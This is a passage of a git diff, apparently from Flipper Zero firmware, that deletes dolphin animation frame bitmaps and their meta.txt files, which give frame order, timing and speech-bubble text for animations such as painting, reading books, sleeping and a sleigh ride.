a/assets/resources/dolphin/L1_Mods_128x64/frame_25.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_25.bm deleted file mode 100644 index 2d48abcda..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_25.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_26.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_26.bm deleted file mode 100644 index 2e491d991..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_26.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_27.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_27.bm deleted file mode 100644 index 63cf443bc..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_27.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_28.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_28.bm deleted file mode 100644 index 23e28db93..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_28.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_29.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_29.bm deleted file mode 100644 index db54d6e42..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_29.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_3.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_3.bm deleted file mode 100644 index 4c7f7b7de..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_30.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_30.bm deleted file mode 100644 index afda830df..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_30.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_31.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_31.bm deleted file mode 100644 index ec9b2c0d0..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_31.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_32.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_32.bm deleted file mode 100644 index 0757af4f1..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_32.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_33.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_33.bm deleted file mode 100644 index b1411659c..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_33.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_34.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_34.bm deleted file mode 100644 index 0f4dd9c27..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_34.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_35.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_35.bm deleted file mode 100644 index 3298ab216..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_35.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_36.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_36.bm deleted file mode 100644 index 58be4e0d8..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_36.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_37.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_37.bm deleted file mode 100644 index cfbe16d18..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_37.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_38.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_38.bm deleted file mode 100644 index 14c557d06..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_38.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_39.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_39.bm deleted file mode 100644 index 789a82339..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_39.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_4.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_4.bm deleted file mode 100644 index 42dd423a8..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_40.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_40.bm deleted file mode 100644 index 376b1b8b2..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_40.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_5.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_5.bm deleted file mode 100644 index 4fdfdf8ab..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_6.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_6.bm deleted file mode 100644 index a27687b5d..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_7.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_7.bm deleted file mode 100644 index 248dabbc6..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_8.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_8.bm deleted file mode 100644 index 5a46b96dc..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_9.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_9.bm deleted file mode 100644 index 4fe07c9b1..000000000 Binary files a/assets/resources/dolphin/L1_Mods_128x64/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Mods_128x64/meta.txt b/assets/resources/dolphin/L1_Mods_128x64/meta.txt deleted file mode 100644 index 40dc021bf..000000000 --- a/assets/resources/dolphin/L1_Mods_128x64/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 23 -Active frames: 18 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 0 diff --git a/assets/resources/dolphin/L1_Painting_128x64/frame_0.bm b/assets/resources/dolphin/L1_Painting_128x64/frame_0.bm deleted file mode 100644 index 2694219ef..000000000 Binary files a/assets/resources/dolphin/L1_Painting_128x64/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Painting_128x64/frame_1.bm b/assets/resources/dolphin/L1_Painting_128x64/frame_1.bm deleted file mode 100644 index 3c9623d4c..000000000 Binary files a/assets/resources/dolphin/L1_Painting_128x64/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Painting_128x64/frame_10.bm b/assets/resources/dolphin/L1_Painting_128x64/frame_10.bm deleted file mode 100644 index 64a750e95..000000000 Binary files a/assets/resources/dolphin/L1_Painting_128x64/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Painting_128x64/frame_11.bm b/assets/resources/dolphin/L1_Painting_128x64/frame_11.bm deleted file mode 100644 index af1503fef..000000000 Binary files a/assets/resources/dolphin/L1_Painting_128x64/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Painting_128x64/frame_2.bm b/assets/resources/dolphin/L1_Painting_128x64/frame_2.bm deleted file mode 100644 index 13916806f..000000000 Binary files a/assets/resources/dolphin/L1_Painting_128x64/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Painting_128x64/frame_3.bm b/assets/resources/dolphin/L1_Painting_128x64/frame_3.bm deleted file mode 100644 index 751fbc3ef..000000000 Binary files a/assets/resources/dolphin/L1_Painting_128x64/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Painting_128x64/frame_4.bm b/assets/resources/dolphin/L1_Painting_128x64/frame_4.bm deleted file mode 100644 index c1135b467..000000000 Binary files a/assets/resources/dolphin/L1_Painting_128x64/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Painting_128x64/frame_5.bm b/assets/resources/dolphin/L1_Painting_128x64/frame_5.bm deleted file mode 100644 index a4681af98..000000000 Binary files a/assets/resources/dolphin/L1_Painting_128x64/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Painting_128x64/frame_6.bm b/assets/resources/dolphin/L1_Painting_128x64/frame_6.bm deleted file mode 100644 index 36f2d084f..000000000 Binary files a/assets/resources/dolphin/L1_Painting_128x64/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Painting_128x64/frame_7.bm b/assets/resources/dolphin/L1_Painting_128x64/frame_7.bm deleted file mode 100644 index 9759e787d..000000000 Binary files a/assets/resources/dolphin/L1_Painting_128x64/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Painting_128x64/frame_8.bm b/assets/resources/dolphin/L1_Painting_128x64/frame_8.bm deleted file mode 100644 index 244adf310..000000000 Binary files a/assets/resources/dolphin/L1_Painting_128x64/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Painting_128x64/frame_9.bm b/assets/resources/dolphin/L1_Painting_128x64/frame_9.bm deleted file mode 100644 index 99ed50717..000000000 Binary files a/assets/resources/dolphin/L1_Painting_128x64/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Painting_128x64/meta.txt b/assets/resources/dolphin/L1_Painting_128x64/meta.txt deleted file mode 100644 index b0b88fbbd..000000000 --- a/assets/resources/dolphin/L1_Painting_128x64/meta.txt +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 9 -Active frames: 13 -Frames order: 0 1 2 3 4 5 2 3 4 10 6 7 8 7 8 7 8 7 8 9 10 11 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 1 - -Slot: 0 -X: 57 -Y: 24 -Text: No mistakes, -AlignH: Left -AlignV: Center -StartFrame: 11 -EndFrame: 14 - -Slot: 0 -X: 57 -Y: 21 -Text: only happy\n accidents -AlignH: Left -AlignV: Center -StartFrame: 15 -EndFrame: 18 diff --git a/assets/resources/dolphin/L1_Read_books_128x64/frame_0.bm b/assets/resources/dolphin/L1_Read_books_128x64/frame_0.bm deleted file mode 100644 index 1169e42d6..000000000 Binary files a/assets/resources/dolphin/L1_Read_books_128x64/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Read_books_128x64/frame_1.bm b/assets/resources/dolphin/L1_Read_books_128x64/frame_1.bm deleted file mode 100644 index 80e2f39bb..000000000 Binary files a/assets/resources/dolphin/L1_Read_books_128x64/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Read_books_128x64/frame_2.bm b/assets/resources/dolphin/L1_Read_books_128x64/frame_2.bm deleted file mode 100644 index 959b02556..000000000 Binary files a/assets/resources/dolphin/L1_Read_books_128x64/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Read_books_128x64/frame_3.bm b/assets/resources/dolphin/L1_Read_books_128x64/frame_3.bm deleted file mode 100644 index 8c106d906..000000000 Binary files a/assets/resources/dolphin/L1_Read_books_128x64/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Read_books_128x64/frame_4.bm b/assets/resources/dolphin/L1_Read_books_128x64/frame_4.bm deleted file mode 100644 index 389d2a8ef..000000000 Binary files a/assets/resources/dolphin/L1_Read_books_128x64/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Read_books_128x64/frame_5.bm b/assets/resources/dolphin/L1_Read_books_128x64/frame_5.bm deleted file mode 100644 index 4b65b6d9b..000000000 Binary files a/assets/resources/dolphin/L1_Read_books_128x64/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Read_books_128x64/frame_6.bm b/assets/resources/dolphin/L1_Read_books_128x64/frame_6.bm deleted file mode 100644 index 451c80a26..000000000 Binary files a/assets/resources/dolphin/L1_Read_books_128x64/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Read_books_128x64/frame_7.bm b/assets/resources/dolphin/L1_Read_books_128x64/frame_7.bm deleted file mode 100644 index 417809078..000000000 Binary files a/assets/resources/dolphin/L1_Read_books_128x64/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Read_books_128x64/frame_8.bm b/assets/resources/dolphin/L1_Read_books_128x64/frame_8.bm deleted file mode 100644 index 4370393dc..000000000 Binary files a/assets/resources/dolphin/L1_Read_books_128x64/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Read_books_128x64/meta.txt b/assets/resources/dolphin/L1_Read_books_128x64/meta.txt deleted file mode 100644 index 750c043d0..000000000 --- a/assets/resources/dolphin/L1_Read_books_128x64/meta.txt +++ /dev/null @@ -1,23 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 13 -Active frames: 2 -Frames order: 0 1 0 2 3 3 4 0 1 5 6 1 1 7 8 -Active cycles: 2 -Frame rate: 2 -Duration: 360 -Active cooldown: 5 - -Bubble slots: 1 - -Slot: 0 -X: 5 -Y: 28 -Text: Predictable twist -AlignH: Right -AlignV: Bottom -StartFrame: 14 -EndFrame: 16 diff --git a/assets/resources/dolphin/L1_Recording_128x51/frame_0.bm b/assets/resources/dolphin/L1_Recording_128x51/frame_0.bm deleted file mode 100644 index a278e3a9d..000000000 Binary files a/assets/resources/dolphin/L1_Recording_128x51/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Recording_128x51/frame_1.bm b/assets/resources/dolphin/L1_Recording_128x51/frame_1.bm deleted file mode 100644 index 403a3ccd7..000000000 Binary files a/assets/resources/dolphin/L1_Recording_128x51/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Recording_128x51/frame_10.bm b/assets/resources/dolphin/L1_Recording_128x51/frame_10.bm deleted file mode 100644 index 7684384fd..000000000 Binary files a/assets/resources/dolphin/L1_Recording_128x51/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Recording_128x51/frame_11.bm b/assets/resources/dolphin/L1_Recording_128x51/frame_11.bm deleted file mode 100644 index 478c1e8b5..000000000 Binary files a/assets/resources/dolphin/L1_Recording_128x51/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Recording_128x51/frame_2.bm b/assets/resources/dolphin/L1_Recording_128x51/frame_2.bm deleted file mode 100644 index f5dbbc71c..000000000 Binary files a/assets/resources/dolphin/L1_Recording_128x51/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Recording_128x51/frame_3.bm b/assets/resources/dolphin/L1_Recording_128x51/frame_3.bm deleted file mode 100644 index eb4b3644b..000000000 Binary files a/assets/resources/dolphin/L1_Recording_128x51/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Recording_128x51/frame_4.bm b/assets/resources/dolphin/L1_Recording_128x51/frame_4.bm deleted file mode 100644 index e0db66ffe..000000000 Binary files a/assets/resources/dolphin/L1_Recording_128x51/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Recording_128x51/frame_5.bm b/assets/resources/dolphin/L1_Recording_128x51/frame_5.bm deleted file mode 100644 index 9265ef6d6..000000000 Binary files a/assets/resources/dolphin/L1_Recording_128x51/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Recording_128x51/frame_6.bm b/assets/resources/dolphin/L1_Recording_128x51/frame_6.bm deleted file mode 100644 index b2676b7ce..000000000 Binary files a/assets/resources/dolphin/L1_Recording_128x51/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Recording_128x51/frame_7.bm b/assets/resources/dolphin/L1_Recording_128x51/frame_7.bm deleted file mode 100644 index 70a1f2d13..000000000 Binary files a/assets/resources/dolphin/L1_Recording_128x51/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Recording_128x51/frame_8.bm b/assets/resources/dolphin/L1_Recording_128x51/frame_8.bm deleted file mode 100644 index 05f98d639..000000000 Binary files a/assets/resources/dolphin/L1_Recording_128x51/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Recording_128x51/frame_9.bm b/assets/resources/dolphin/L1_Recording_128x51/frame_9.bm deleted file mode 100644 index 65b723203..000000000 Binary files a/assets/resources/dolphin/L1_Recording_128x51/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Recording_128x51/meta.txt b/assets/resources/dolphin/L1_Recording_128x51/meta.txt deleted file mode 100644 index dc79b1645..000000000 --- a/assets/resources/dolphin/L1_Recording_128x51/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 51 -Passive frames: 6 -Active frames: 6 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 5 - -Bubble slots: 0 diff --git a/assets/resources/dolphin/L1_Sleep_128x64/frame_0.bm b/assets/resources/dolphin/L1_Sleep_128x64/frame_0.bm deleted file mode 100644 index 9560e1f41..000000000 Binary files a/assets/resources/dolphin/L1_Sleep_128x64/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleep_128x64/frame_1.bm b/assets/resources/dolphin/L1_Sleep_128x64/frame_1.bm deleted file mode 100644 index 238b50a2e..000000000 Binary files a/assets/resources/dolphin/L1_Sleep_128x64/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleep_128x64/frame_2.bm b/assets/resources/dolphin/L1_Sleep_128x64/frame_2.bm deleted file mode 100644 index b18e615fe..000000000 Binary files a/assets/resources/dolphin/L1_Sleep_128x64/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleep_128x64/frame_3.bm b/assets/resources/dolphin/L1_Sleep_128x64/frame_3.bm deleted file mode 100644 index 72fedc5e1..000000000 Binary files a/assets/resources/dolphin/L1_Sleep_128x64/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleep_128x64/meta.txt b/assets/resources/dolphin/L1_Sleep_128x64/meta.txt deleted file mode 100644 index 589f46294..000000000 --- a/assets/resources/dolphin/L1_Sleep_128x64/meta.txt +++ /dev/null @@ -1,41 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 2 -Active frames: 4 -Frames order: 0 1 2 3 2 3 -Active cycles: 2 -Frame rate: 2 -Duration: 360 -Active cooldown: 5 - -Bubble slots: 2 - -Slot: 0 -X: 53 -Y: 20 -Text: In a lucid dream,\nI could walk... -AlignH: Left -AlignV: Bottom -StartFrame: 3 -EndFrame: 9 - -Slot: 1 -X: 53 -Y: 20 -Text: OH MY GOD! -AlignH: Left -AlignV: Bottom -StartFrame: 3 -EndFrame: 5 - -Slot: 1 -X: 53 -Y: 31 -Text: Just a dream... -AlignH: Left -AlignV: Bottom -StartFrame: 6 -EndFrame: 9 diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_0.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_0.bm deleted file mode 100644 index 3b57cf9ef..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_1.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_1.bm deleted file mode 100644 index f199ae6b5..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_10.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_10.bm deleted file mode 100644 index 26e7927e1..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_11.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_11.bm deleted file mode 100644 index b695c4b6d..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_12.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_12.bm deleted file mode 100644 index 345e700aa..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_13.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_13.bm deleted file mode 100644 index 40b52b3a5..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_14.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_14.bm deleted file mode 100644 index ae5d9d357..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_15.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_15.bm deleted file mode 100644 index 2d75157c5..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_16.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_16.bm deleted file mode 100644 index 6bdc09b2f..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_17.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_17.bm deleted file mode 100644 index 913154e91..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_18.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_18.bm deleted file mode 100644 index 4a5dabbb2..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_19.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_19.bm deleted file mode 100644 index f285cacab..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_2.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_2.bm deleted file mode 100644 index 725bf4d70..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_20.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_20.bm deleted file mode 100644 index 8f8ada578..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_21.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_21.bm deleted file mode 100644 index 3ad3bb076..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_22.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_22.bm deleted file mode 100644 index b8201b0a1..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_23.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_23.bm deleted file mode 100644 index 00a121831..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_24.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_24.bm deleted file mode 100644 index 955b370e3..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_24.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_25.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_25.bm deleted file mode 100644 index 132862b38..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_25.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_26.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_26.bm deleted file mode 100644 index 0ff492fe1..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_26.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_27.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_27.bm deleted file mode 100644 index d4ef185cb..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_27.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_28.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_28.bm deleted file mode 100644 index f8ee42301..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_28.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_29.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_29.bm deleted file mode 100644 index 6683473d3..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_29.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_3.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_3.bm deleted file mode 100644 index a88887054..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_30.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_30.bm deleted file mode 100644 index 0a7d98def..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_30.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_31.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_31.bm deleted file mode 100644 index 77c296011..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_31.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_32.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_32.bm deleted file mode 100644 index 074e8c88a..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_32.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_33.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_33.bm deleted file mode 100644 index 9da74cf2d..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_33.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_34.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_34.bm deleted file mode 100644 index a52e76f57..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_34.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_35.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_35.bm deleted file mode 100644 index d035e592e..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_35.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_36.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_36.bm deleted file mode 100644 index 44c18954d..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_36.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_4.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_4.bm deleted file mode 100644 index 125ba431d..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_5.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_5.bm deleted file mode 100644 index c79176735..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_6.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_6.bm deleted file mode 100644 index 5ff2da01c..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_7.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_7.bm deleted file mode 100644 index a1df0078a..000000000 Binary files a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_8.bm 